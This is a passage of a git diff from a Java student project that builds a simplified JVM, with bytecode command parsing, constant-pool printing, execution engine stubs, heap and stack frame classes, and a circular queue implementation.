+                commandList.add(putFieldCmd);
+            } else if (command.equals(getstatic)) {
+                GetStaticFieldCmd getStaticFieldCmd = new GetStaticFieldCmd(clzFile, command);
+                getStaticFieldCmd.setOprand1(commandIterator.next2CharAsInt());
+                getStaticFieldCmd.setOprand2(commandIterator.next2CharAsInt());
+                getStaticFieldCmd.setOffset(getStaticFieldCmd.getLength());
+                commandList.add(getStaticFieldCmd);
+            } else if (command.equals(ldc)) {
+                LdcCmd ldcCmd = new LdcCmd(clzFile, command);
+                ldcCmd.setOperand(commandIterator.next2CharAsInt());
+                ldcCmd.setOffset(ldcCmd.getLength());
+                commandList.add(ldcCmd);
+            } else if (command.equals(dup)) {
+                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
+                noOperandCmd.setOffset(noOperandCmd.getLength());
+                commandList.add(noOperandCmd);
+            } else if (command.equals(bipush)) {
+                BiPushCmd biPushCmd = new BiPushCmd(clzFile, command);
+                biPushCmd.setOperand(commandIterator.next2CharAsInt());
+                biPushCmd.setOffset(biPushCmd.getLength());
+                commandList.add(biPushCmd);
+            } else if (command.equals(aload_0)) {
+                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
+                noOperandCmd.setOffset(noOperandCmd.getLength());
+                commandList.add(noOperandCmd);
+            } else if (command.equals(aload_1)) {
+                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
+                noOperandCmd.setOffset(noOperandCmd.getLength());
+                commandList.add(noOperandCmd);
+            } else if (command.equals(aload_2)) {
+                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
+                noOperandCmd.setOffset(noOperandCmd.getLength());
+                commandList.add(noOperandCmd);
+            } else if (command.equals(iload)) {
+
+            } else if (command.equals(iload_2)) {
+                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
+                noOperandCmd.setOffset(noOperandCmd.getLength());
+                commandList.add(noOperandCmd);
+            } else if (command.equals(iload_1)) {
+                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
+                noOperandCmd.setOffset(noOperandCmd.getLength());
+                commandList.add(noOperandCmd);
+            } else if (command.equals(iload_3)) {
+                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
+                noOperandCmd.setOffset(noOperandCmd.getLength());
+                commandList.add(noOperandCmd);
+            } else if (command.equals(fload_3)) {
+
+            } else if (command.equals(voidreturn)) {
+                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
+                noOperandCmd.setOffset(noOperandCmd.getLength());
+                commandList.add(noOperandCmd);
+            } else if (command.equals(ireturn)) {
+
+            } else if (command.equals(freturn)) {
+
+            } else if (command.equals(astore_1)) {
+                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
+                noOperandCmd.setOffset(noOperandCmd.getLength());
+                commandList.add(noOperandCmd);
+            } else if (command.equals(if_icmp_ge)) {
+
+            } else if (command.equals(if_icmple)) {
+
+            } else if (command.equals(goto_no_condition)) {
+
+            } else if (command.equals(iconst_0)) {
+
+            } else if (command.equals(iconst_1)) {
+
+            } else if (command.equals(istore_1)) {
+
+            } else if (command.equals(istore_2)) {
+
+            } else if (command.equals(iadd)) {
+
+            } else if (command.equals(iinc)) {
+
+            } else {
+                throw new RuntimeException("wrong command : " + command);
+            }
+        }
+        calcuateOffset(commandList);
+        return commandList.toArray(new ByteCodeCommand[commandList.size()]);
+    }
+
+    private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+        int offset = 0;
+        for (ByteCodeCommand cmd : cmds) {
+            cmd.setOffset(offset);
+            offset += cmd.getLength();
+        }
+
+    }
+
+    private static class CommandIterator {
+        String codes = null;
+        int pos = 0;
+
+        CommandIterator(String codes) {
+            this.codes = codes;
+        }
+
+        public boolean hasNext() {
+            return pos < this.codes.length();
+        }
+
+        /**
+         * 从字符串中截取前两个字符
+         *
+         * @return
+         */
+        public String next2CharAsString() {
+            String result = codes.substring(pos, pos + 2);
+            pos += 2;
+            return result;
+        }
+
+        public int next2CharAsInt() {
+            String s = this.next2CharAsString();
+            return Integer.valueOf(s, 16).intValue();
+        }
+
+    }
+}
diff --git a/group17/785396327/4.16/cmd/GetFieldCmd.java b/group17/785396327/4.16/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..59425edc38
--- /dev/null
+++ b/group17/785396327/4.16/cmd/GetFieldCmd.java
@@ -0,0 +1,27 @@
+package cmd;
+
+import clz.ClassFile;
+import constant.ConstantPool;
+import engine.FrameResult;
+import engine.StackFrame;
+
+/**
+ * Created by william on 2017/4/17.
+ */
+public class GetFieldCmd extends TwoOperandCmd {
+    public GetFieldCmd(ClassFile clzFile,String opCode) {
+        super(clzFile,opCode);
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+        return super.getOperandAsField(pool);
+    }
+
+    @Override
+    public void execute(StackFrame frame, FrameResult result) {
+
+    }
+
+}
diff --git a/group17/785396327/4.16/cmd/GetStaticFieldCmd.java b/group17/785396327/4.16/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..c21e230306
--- /dev/null
+++ b/group17/785396327/4.16/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,27 @@
+package cmd;
+
+import clz.ClassFile;
+import constant.ConstantPool;
+import engine.FrameResult;
+import engine.StackFrame;
+
+/**
+ * Created by IBM on 2017/4/17.
+ */
+public class GetStaticFieldCmd extends TwoOperandCmd {
+    public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+        super(clzFile,opCode);
+
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+        return super.getOperandAsField(pool);
+    }
+
+    @Override
+    public void execute(StackFrame frame, FrameResult result) {
+
+    }
+}
diff --git a/group17/785396327/4.16/cmd/InvokeSpecialCmd.java b/group17/785396327/4.16/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..3dd0c7b70e
--- /dev/null
+++ b/group17/785396327/4.16/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,27 @@
+package cmd;
+
+import clz.ClassFile;
+import constant.ConstantPool;
+import engine.FrameResult;
+import engine.StackFrame;
+
+/**
+ * Created by IBM on 2017/4/17.
+ */
+public class InvokeSpecialCmd extends TwoOperandCmd {
+    public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+        super(clzFile,opCode);
+
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+        return super.getOperandAsMethod(pool);
+    }
+
+    @Override
+    public void execute(StackFrame frame, FrameResult result) {
+
+    }
+}
diff --git a/group17/785396327/4.16/cmd/InvokeVirtualCmd.java b/group17/785396327/4.16/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..254534a78f
--- /dev/null
+++ b/group17/785396327/4.16/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,26 @@
+package cmd;
+
+import clz.ClassFile;
+import constant.ConstantPool;
+import engine.FrameResult;
+import engine.StackFrame;
+
+/**
+ * Created by IBM on 2017/4/17.
+ */
+public class InvokeVirtualCmd extends TwoOperandCmd {
+    public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+        super(clzFile,opCode);
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+        return super.getOperandAsMethod(pool);
+    }
+
+    @Override
+    public void execute(StackFrame frame, FrameResult result) {
+
+    }
+}
diff --git a/group17/785396327/4.16/cmd/LdcCmd.java b/group17/785396327/4.16/cmd/LdcCmd.java
new file mode 100644
index 0000000000..ce1f34df3c
--- /dev/null
+++ b/group17/785396327/4.16/cmd/LdcCmd.java
@@ -0,0 +1,37 @@
+package cmd;
+
+import clz.ClassFile;
+import constant.ConstantInfo;
+import constant.ConstantPool;
+import constant.StringInfo;
+import engine.FrameResult;
+import engine.StackFrame;
+
+/**
+ * Created by IBM on 2017/4/17.
+ */
+public class LdcCmd extends OneOperandCmd {
+    public LdcCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+        ConstantInfo info = (ConstantInfo) pool.getConstantInfo(this.getOperand());
+
+        String value = "TBD";
+        if (info instanceof StringInfo) {
+            StringInfo strInfo = (StringInfo) info;
+            value = strInfo.toString();
+        }
+
+        return this.getOffset() + ":" + this.getOpCode() + " " + this.getReadableCodeText() + " " + value;
+
+    }
+
+    @Override
+    public void execute(StackFrame frame, FrameResult result) {
+
+    }
+}
diff --git a/group17/785396327/4.16/cmd/NewObjectCmd.java b/group17/785396327/4.16/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..d284274f0b
--- /dev/null
+++ b/group17/785396327/4.16/cmd/NewObjectCmd.java
@@ -0,0 +1,27 @@
+package cmd;
+
+import clz.ClassFile;
+import constant.ConstantPool;
+import engine.FrameResult;
+import engine.StackFrame;
+
+/**
+ * Created by gongxun on 2017/4/17.
+ */
+public class NewObjectCmd extends TwoOperandCmd {
+    public NewObjectCmd(ClassFile clzFile, String opCode){
+        super(clzFile,opCode);
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+        return super.getOperandAsClassInfo(pool);
+    }
+
+    @Override
+    public void execute(StackFrame frame, FrameResult result) {
+
+    }
+
+}
diff --git a/group17/785396327/4.16/cmd/NoOperandCmd.java b/group17/785396327/4.16/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..828ae2094e
--- /dev/null
+++ b/group17/785396327/4.16/cmd/NoOperandCmd.java
@@ -0,0 +1,30 @@
+package cmd;
+
+import clz.ClassFile;
+import constant.ConstantPool;
+import engine.FrameResult;
+import engine.StackFrame;
+
+/**
+ * Created by IBM on 2017/4/17.
+ */
+public class NoOperandCmd extends ByteCodeCommand {
+    public NoOperandCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+        return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+    }
+
+    @Override
+    public void execute(StackFrame frame, FrameResult result) {
+
+    }
+
+
+    public  int getLength(){
+        return 1;
+    }
+}
diff --git a/group17/785396327/4.16/cmd/OneOperandCmd.java b/group17/785396327/4.16/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..4f3dbc9feb
--- /dev/null
+++ b/group17/785396327/4.16/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package cmd;
+
+import clz.ClassFile;
+
+/**
+ * Created by IBM on 2017/4/17.
+ */
+public abstract class OneOperandCmd extends ByteCodeCommand {
+    private int operand;
+
+    public OneOperandCmd(ClassFile clzFile,String opCode) {
+        super(clzFile, opCode);
+
+    }
+    public  int getOperand() {
+
+        return this.operand;
+    }
+
+    public void setOperand(int oprand1) {
+        this.operand = oprand1;
+
+    }
+    public  int getLength(){
+        return 2;
+    }
+}
diff --git a/group17/785396327/4.16/cmd/PutFieldCmd.java b/group17/785396327/4.16/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..f0994739a0
--- /dev/null
+++ b/group17/785396327/4.16/cmd/PutFieldCmd.java
@@ -0,0 +1,26 @@
+package cmd;
+
+import clz.ClassFile;
+import constant.ConstantPool;
+import engine.FrameResult;
+import engine.StackFrame;
+
+/**
+ * Created by IBM on 2017/4/17.
+ */
+public class PutFieldCmd extends TwoOperandCmd {
+    public PutFieldCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+        return super.getOperandAsField(pool);
+    }
+
+    @Override
+    public void execute(StackFrame frame, FrameResult result) {
+
+    }
+}
diff --git a/group17/785396327/4.16/cmd/TwoOperandCmd.java b/group17/785396327/4.16/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..a12df75e52
--- /dev/null
+++ b/group17/785396327/4.16/cmd/TwoOperandCmd.java
@@ -0,0 +1,65 @@
+package cmd;
+
+import clz.ClassFile;
+import constant.*;
+
+/**
+ * Created by IBM on 2017/4/17.
+ */
+public abstract class TwoOperandCmd extends ByteCodeCommand {
+    int oprand1 = -1;
+    int oprand2 = -1;
+
+    public int getOprand1() {
+        return oprand1;
+    }
+
+    public void setOprand1(int oprand1) {
+        this.oprand1 = oprand1;
+    }
+
+    public void setOprand2(int oprand2) {
+        this.oprand2 = oprand2;
+    }
+
+    public int getOprand2() {
+        return oprand2;
+    }
+
+    public TwoOperandCmd(ClassFile clzFile,String opCode) {
+        super(clzFile, opCode);
+    }
+
+    public int getIndex(){
+        int oprand1 = this.getOprand1();
+        int oprand2 = this.getOprand2();
+        int index = oprand1 << 8 | oprand2;
+        return index;
+    }
+
+    protected String getOperandAsClassInfo(ConstantPool pool){
+        int index = getIndex();
+        String codeTxt = getReadableCodeText();
+        ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+        return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+    }
+
+    protected String getOperandAsMethod(ConstantPool pool){
+        int index = getIndex();
+        String codeTxt = getReadableCodeText();
+        ConstantInfo constInfo = this.getConstantInfo(index);
+        MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+        return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+    }
+
+    protected String getOperandAsField(ConstantPool pool){
+        int index = getIndex();
+
+        String codeTxt = getReadableCodeText();
+        FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+        return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+    }
+    public  int getLength(){
+        return 3;
+    }
+}
diff --git a/group17/785396327/4.16/print/ClassFilePrinter.java b/group17/785396327/4.16/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..7d8c878553
--- /dev/null
+++ b/group17/785396327/4.16/print/ClassFilePrinter.java
@@ -0,0 +1,44 @@
+package print;
+
+import clz.ClassFile;
+import jvm_1.ClassFileLoader;
+
+/**
+ * Created by gongxun on 2017/4/21.
+ */
+public class ClassFilePrinter {
+    ClassFile clzFile = null;
+    public ClassFilePrinter(ClassFile clzFile){
+        this.clzFile = clzFile;
+    }
+
+    public void print(){
+
+        if(clzFile.getAccessFlag().isPublicClass()){
+            System.out.println("Access flag : public  ");
+        }
+        System.out.println("Class Name:"+ clzFile.getClassName());
+
+        System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+
+        System.out.println("minor version:" + clzFile.getMinorVersion());
+
+        System.out.println("major version:" + clzFile.getMinorVersion());
+
+        ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+        cnstPoolPrinter.print();
+    }
+
+    public static void main(String[] args){
+        String path = "G:\\Git\\homework\\coding2017\\group17\\785396327\\out\\production\\785396327";
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path);
+        String className = "jvm_1.EmployeeV1";
+
+        ClassFile clzFile = loader.loadClass(className);
+
+        ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+
+        printer.print();
+    }
+}
diff --git a/group17/785396327/4.16/print/ConstantPoolPrinter.java b/group17/785396327/4.16/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..6c4d4fee4a
--- /dev/null
+++ b/group17/785396327/4.16/print/ConstantPoolPrinter.java
@@ -0,0 +1,114 @@
+package print;
+
+import constant.*;
+
+/**
+ * Created by gongxun on 2017/4/21.
+ */
+public class ConstantPoolPrinter {
+    ConstantPool pool;
+
+    ConstantPoolPrinter(ConstantPool pool) {
+        this.pool = pool;
+    }
+
+    public void print() {
+        System.out.println("Constant Pool:");
+
+        ConstantInfo.Visitor visitor = new ConstantInfo.Visitor() {
+            @Override
+            public void visitClassInfo(ClassInfo info) {
+                //   #7 = Class              #44            //  jvm_1/EmployeeV1
+                StringBuilder sb = new StringBuilder();
+                      sb.append("Class")
+                        .append("\t\t\t")
+                        .append("#" + info.getUtf8Index())
+                        .append("\t\t\t\t")
+                        .append("//\t")
+                        .append(info.getClassName());
+                System.out.println(sb.toString());
+            }
+
+            @Override
+            public void visitFieldRef(FieldRefInfo info) {
+                //  #2 = Fieldref           #7.#37         //  jvm_1/EmployeeV1.name:Ljava/lang/String;
+                StringBuilder sb = new StringBuilder();
+                      sb.append("Fieldref")
+                        .append("\t\t")
+                        .append("#" + info.getClassInfoIndex())
+                        .append(".")
+                        .append("#" + info.getNameAndTypeIndex())
+                        .append("\t\t\t")
+                        .append("//\t")
+                        .append(info.getClassName())
+                        .append(".")
+                        .append(info.getFieldName())
+                        .append(info.getFieldType());
+                System.out.println(sb.toString());
+            }
+
+            @Override
+            public void visitMethodRef(MethodRefInfo info) {
+                //  #1 = Methodref          #11.#36        //  java/lang/Object."<init>":()V
+                StringBuilder sb = new StringBuilder();
+                      sb.append("Methodref")
+                        .append("\t\t")
+                        .append("#" + info.getClassInfoIndex())
+                        .append(".")
+                        .append("#" + info.getNameAndTypeIndex())
+                        .append("\t\t\t")
+                        .append("//\t")
+                        .append(info.getClassName())
+                        .append(".")
+                        .append(info.getMethodName());
+                System.out.println(sb.toString());
+            }
+
+            @Override
+            public void visitNameAndType(NameAndTypeInfo info) {
+                //  #36 = NameAndType        #16:#28        //  "<init>":()V
+                StringBuilder sb = new StringBuilder();
+                      sb.append("NameAndType")
+                        .append("\t\t")
+                        .append("#" + info.getIndex1())
+                        .append(":")
+                        .append("#" + info.getIndex2())
+                        .append("\t\t\t")
+                        .append("//\t")
+                        .append(info.getTypeInfo())
+                        .append(":")
+                        .append(info.getName());
+                System.out.println(sb.toString());
+            }
+
+            @Override
+            public void visitString(StringInfo info) {
+                //  #5 = String             #41            //  Hello , this is class Employee
+                StringBuilder sb = new StringBuilder();
+                      sb.append("String")
+                        .append("\t\t\t")
+                        .append("#" + info.getIndex())
+                        .append("\t\t\t\t")
+                        .append("//\t")
+                        .append(((UTF8Info) info.getConstantInfo(info.getIndex())).getValue());
+                System.out.println(sb.toString());
+            }
+
+            @Override
+            public void visistUTF8(UTF8Info info) {
+                //  #32 = Utf8               [Ljava/lang/String;
+                StringBuilder sb = new StringBuilder();
+                      sb.append("Utf8")
+                        .append("\t\t\t")
+                        .append(info.getValue());
+                System.out.println(sb.toString());
+            }
+        };
+
+        for (int i = 1; i < (Integer) pool.getSize(); i++) {
+            ConstantInfo constantInfo = pool.getConstantInfo(i);
+            System.out.print("#" + i + "\t=\t");
+            constantInfo.accept(visitor);
+        }
+    }
+}
diff --git a/group17/785396327/4.23/engine/ExecutionResult.java b/group17/785396327/4.23/engine/ExecutionResult.java
new file mode 100644
index 0000000000..4dcb84fb62
--- /dev/null
+++ b/group17/785396327/4.23/engine/ExecutionResult.java
@@ -0,0 +1,55 @@
+package engine;
+
+import method.Method;
+
+/**
+ * Created by gongxun on 2017/4/24.
+ */
+public class ExecutionResult {
+    public static final int RUN_NEXT_CMD = 1;
+    public static final int JUMP = 2;
+    public static final int EXIT_CURRENT_FRAME = 3;
+    public static final int PAUSE_AND_RUN_NEW_FRAME = 4;
+
+    private int nextAction = RUN_NEXT_CMD;
+
+    private int nextCmdOffset = 0;
+
+    private Method nextMethod;
+
+    public Method getNextMethod() {
+        return nextMethod;
+    }
+    public void setNextMethod(Method nextMethod) {
+        this.nextMethod = nextMethod;
+    }
+
+
+
+    public void setNextAction(int action){
+        this.nextAction = action;
+    }
+    public boolean isPauseAndRunNewFrame(){
+        return this.nextAction == PAUSE_AND_RUN_NEW_FRAME;
+    }
+    public boolean isExitCurrentFrame(){
+        return this.nextAction == EXIT_CURRENT_FRAME;
+    }
+
+    public boolean isRunNextCmd(){
+        return this.nextAction == RUN_NEXT_CMD;
+    }
+
+    public boolean isJump(){
+        return this.nextAction == JUMP;
+    }
+
+    public int getNextCmdOffset() {
+        return nextCmdOffset;
+    }
+
+    public void setNextCmdOffset(int nextCmdOffset) {
+        this.nextCmdOffset = nextCmdOffset;
+    }
+
+}
diff --git a/group17/785396327/4.23/engine/ExecutorEngine.java b/group17/785396327/4.23/engine/ExecutorEngine.java
new file mode 100644
index 0000000000..729d7c12be
--- /dev/null
+++ b/group17/785396327/4.23/engine/ExecutorEngine.java
@@ -0,0 +1,29 @@
+package engine;
+
+import method.Method;
+import stack.Stack;
+
+/**
+ * Created by gongxun on 2017/4/24.
+ */
+public class ExecutorEngine {
+    private Stack<StackFrame> stack = new Stack<StackFrame>();
+
+    public ExecutorEngine() {
+
+    }
+
+    public void execute(Method mainMethod){
+
+
+
+    }
+
+
+
+    private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame) {
+
+
+
+    }
+}
diff --git a/group17/785396327/4.23/engine/FrameResult.java b/group17/785396327/4.23/engine/FrameResult.java
new file mode 100644
index 0000000000..7630e0a37a
--- /dev/null
+++ b/group17/785396327/4.23/engine/FrameResult.java
@@ -0,0 +1,7 @@
+package engine;
+
+/**
+ * Created by gongxun on 2017/4/24.
+ */
+public class FrameResult {
+}
diff --git a/group17/785396327/4.23/engine/Heap.java b/group17/785396327/4.23/engine/Heap.java
new file mode 100644
index 0000000000..dc7c2ccf6f
--- /dev/null
+++ b/group17/785396327/4.23/engine/Heap.java
@@ -0,0 +1,41 @@
+package engine;
+
+/**
+ * Created by gongxun on 2017/4/24.
+ */
+public class Heap {
+    /**
+     * 没有实现垃圾回收， 所以对于下面新创建的对象， 并没有记录到一个数据结构当中
+     */
+
+    private static Heap instance = new Heap();
+    private Heap() {
+    }
+    public static Heap getInstance(){
+        return instance;
+    }
+    public JavaObject newObject(String clzName){
+
+        JavaObject jo = new JavaObject(JavaObject.OBJECT);
+        jo.setClassName(clzName);
+        return jo;
+    }
+
+    public JavaObject newString(String value){
+        JavaObject jo = new JavaObject(JavaObject.STRING);
+        jo.setStringValue(value);
+        return jo;
+    }
+
+    public JavaObject newFloat(float value){
+        JavaObject jo = new JavaObject(JavaObject.FLOAT);
+        jo.setFloatValue(value);
+        return jo;
+    }
+    public JavaObject newInt(int value){
+        JavaObject jo = new JavaObject(JavaObject.INT);
+        jo.setIntValue(value);
+        return jo;
+    }
+
+}
diff --git a/group17/785396327/4.23/engine/JavaObject.java b/group17/785396327/4.23/engine/JavaObject.java
new file mode 100644
index 0000000000..efd8adf5df
--- /dev/null
+++ b/group17/785396327/4.23/engine/JavaObject.java
@@ -0,0 +1,73 @@
+package engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Created by gongxun on 2017/4/24.
+ */
+public class JavaObject {
+    public static final int OBJECT = 1;
+    public static final int STRING = 2;
+    public static final int INT = 3;
+    public static final int FLOAT = 4;
+
+    int type;
+    private String className;
+
+    private Map<String, JavaObject> fieldValues = new HashMap<String,JavaObject>();
+
+    private String stringValue;
+
+    private int intValue;
+
+    private float floatValue;
+
+    public void setFieldValue(String fieldName, JavaObject fieldValue){
+        fieldValues.put(fieldName, fieldValue);
+    }
+    public JavaObject(int type){
+        this.type = type;
+    }
+    public void setClassName(String className){
+        this.className = className;
+    }
+    public void setStringValue(String value){
+        stringValue = value;
+    }
+    public String getStringValue(){
+        return this.stringValue;
+    }
+    public void setIntValue(int value) {
+        this.intValue = value;
+    }
+    public int getIntValue(){
+        return this.intValue;
+    }
+    public int getType(){
+        return type;
+    }
+    public JavaObject getFieldValue(String fieldName){
+        return this.fieldValues.get(fieldName);
+    }
+    public String toString(){
+        switch(this.getType()){
+            case INT:
+                return String.valueOf(this.intValue);
+            case STRING:
+                return this.stringValue;
+            case OBJECT:
+                return this.className +":"+ this.fieldValues;
+            case FLOAT :
+                return String.valueOf(this.floatValue);
+            default:
+                return null;
+        }
+    }
+    public String getClassName(){
+        return this.className;
+    }
+    public void setFloatValue(float value) {
+        this.floatValue = value;
+    }
+}
diff --git a/group17/785396327/4.23/engine/MethodArea.java b/group17/785396327/4.23/engine/MethodArea.java
new file mode 100644
index 0000000000..3ede83b192
--- /dev/null
+++ b/group17/785396327/4.23/engine/MethodArea.java
@@ -0,0 +1,70 @@
+package engine;
+
+import clz.ClassFile;
+import constant.MethodRefInfo;
+import jvm_1.ClassFileLoader;
+import method.Method;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Created by gongxun on 2017/4/24.
+ */
+public class MethodArea {
+    public static final MethodArea instance = new MethodArea();
+
+    /**
+     * 注意：我们做了极大的简化， ClassLoader 只有一个， 实际JVM中的ClassLoader,是一个双亲委托的模型
+     */
+
+    private ClassFileLoader clzLoader = null;
+
+    Map<String,ClassFile> map = new HashMap<String,ClassFile>();
+
+    private MethodArea(){
+    }
+
+    public static MethodArea getInstance(){
+        return instance;
+    }
+
+    public void setClassFileLoader(ClassFileLoader clzLoader){
+        this.clzLoader = clzLoader;
+    }
+
+    public Method getMainMethod(String className){
+
+        ClassFile clzFile = this.findClassFile(className);
+
+        return clzFile.getMainMethod();
+    }
+
+
+    public  ClassFile findClassFile(String className){
+
+        if(map.get(className) != null){
+            return map.get(className);
+        }
+        // 看来该class 文件还没有load过
+        ClassFile clzFile = this.clzLoader.loadClass(className);
+
+        map.put(className, clzFile);
+
+        return clzFile;
+
+    }
+
+
+    public Method getMethod(String className, String methodName, String paramAndReturnType){
+
+        return null;
+    }
+
+
+    public Method getMethod(MethodRefInfo methodRef){
+
+        return null;
+
+    }
+}
diff --git a/group17/785396327/4.23/engine/MiniJVM.java b/group17/785396327/4.23/engine/MiniJVM.java
new file mode 100644
index 0000000000..19094eee23
--- /dev/null
+++ b/group17/785396327/4.23/engine/MiniJVM.java
@@ -0,0 +1,29 @@
+package engine;
+
+import jvm_1.ClassFileLoader;
+
+import java.io.FileNotFoundException;
+import java.io.IOException;
+
+/**
+ * Created by gongxun on 2017/4/24.
+ */
+public class MiniJVM {
+    public void run(String[]classPaths , String className) throws FileNotFoundException, IOException {
+
+        ClassFileLoader loader = new ClassFileLoader();
+        for(int i=0;i<classPaths.length ; i++){
+            loader.addClassPath(classPaths[i]);
+        }
+
+        MethodArea methodArea= MethodArea.getInstance();
+
+        methodArea.setClassFileLoader(loader);
+
+        ExecutorEngine engine = new ExecutorEngine();
+
+        className = className.replace(".", "/");
+
+        engine.execute(methodArea.getMainMethod(className));
+    }
+}
diff --git a/group17/785396327/4.23/engine/StackFrame.java b/group17/785396327/4.23/engine/StackFrame.java
new file mode 100644
index 0000000000..135a28612b
--- /dev/null
+++ b/group17/785396327/4.23/engine/StackFrame.java
@@ -0,0 +1,95 @@
+package engine;
+
+import cmd.ByteCodeCommand;
+import method.Method;
+import stack.Stack;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by gongxun on 2017/4/24.
+ */
+public class StackFrame {
+    private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
+    private Stack<JavaObject> oprandStack = new Stack<JavaObject>();
+
+    int index = 0;
+
+    private Method m = null;
+
+    private StackFrame callerFrame = null;
+
+    public StackFrame getCallerFrame() {
+        return callerFrame;
+    }
+
+    public void setCallerFrame(StackFrame callerFrame) {
+        this.callerFrame = callerFrame;
+    }
+
+
+
+
+    public static  StackFrame create(Method m){
+
+        StackFrame frame = new StackFrame( m );
+
+        return frame;
+    }
+
+
+    private StackFrame(Method m) {
+        this.m = m;
+
+    }
+
+
+
+    public JavaObject getLocalVariableValue(int index){
+        return this.localVariableTable.get(index);
+    }
+
+    public Stack<JavaObject> getOprandStack(){
+        return this.oprandStack;
+    }
+
+    public int getNextCommandIndex(int offset){
+
+        ByteCodeCommand[] cmds = m.getCodeAttr().getCmds();
+        for(int i=0;i<cmds.length; i++){
+            if(cmds[i].getOffset() == offset){
+                return i;
+            }
+        }
+        throw new RuntimeException("Can't find next command");
+    }
+
+    public ExecutionResult execute(){
+        return null;
+
+    }
+
+
+
+
+    public void setLocalVariableTable(List<JavaObject> values){
+        this.localVariableTable = values;
+    }
+
+    public void setLocalVariableValue(int index, JavaObject jo){
+        //问题： 为什么要这么做？？
+        if(this.localVariableTable.size()-1 < index){
+            for(int i=this.localVariableTable.size(); i<=index; i++){
+                this.localVariableTable.add(null);
+            }
+        }
+        this.localVariableTable.set(index, jo);
+
+
+    }
+
+    public Method getMethod(){
+        return m;
+    }
+}
diff --git a/group17/785396327/4.23/queue/CircleQueue.java b/group17/785396327/4.23/queue/CircleQueue.java
new file mode 100644
index 0000000000..a7ab62bf55
--- /dev/null
+++ b/group17/785396327/4.23/queue/CircleQueue.java
@@ -0,0 +1,59 @@
+package queue;
+
+import java.util.Arrays;
+
+/**
+ * Created by gongxun on 2017/4/24.
+ * 用数组实现循环队列
+ */
+public class CircleQueue<E> {
+    private final static int DEFAULT_SIZE = 10;
+
+    //用数组来保存循环队列的元素
+    private Object[] elementData = new Object[DEFAULT_SIZE];
+
+    //队头
+    private int front = 0;
+    //队尾
+    private int rear = 0;
+
+    public boolean isEmpty() {
+        return front == rear && elementData[front] == null;
+
+    }
+
+    public int size() {
+        if (isEmpty())
+            return 0;
+        return front - rear > 0 ? DEFAULT_SIZE - front + rear : front - rear < 0 ? rear - front : DEFAULT_SIZE;
+    }
+
+
+    public void enQueue(E data) {
+        if (size() != DEFAULT_SIZE) {
+            elementData[rear] = data;
+            if (rear == DEFAULT_SIZE - 1)
+                rear = 0;
+            else
+                rear++;
+        }
+    }
+
+    public E deQueue() {
+        E removeEle = null;
+        if (!isEmpty()) {
+            removeEle = (E) elementData[front];
+            elementData[front] = null;
+            if (front == DEFAULT_SIZE - 1)
+                front = 0;
+            else
+                front++;
+        }
+        return removeEle;
+    }
+
+    @Override
+    public String toString() {
+        return Arrays.toString(elementData);
+    }
+}
diff --git a/group17/785396327/4.23/queue/CircleQueueTest.java b/group17/785396327/4.23/queue/CircleQueueTest.java
new file mode 100644
index 0000000000..1a3f97d9bf
--- /dev/null
+++ b/group17/785396327/4.23/queue/CircleQueueTest.java
@@ -0,0 +1,62 @@
+package queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Created by gongxun on 2017/4/25.
+ */
+public class CircleQueueTest {
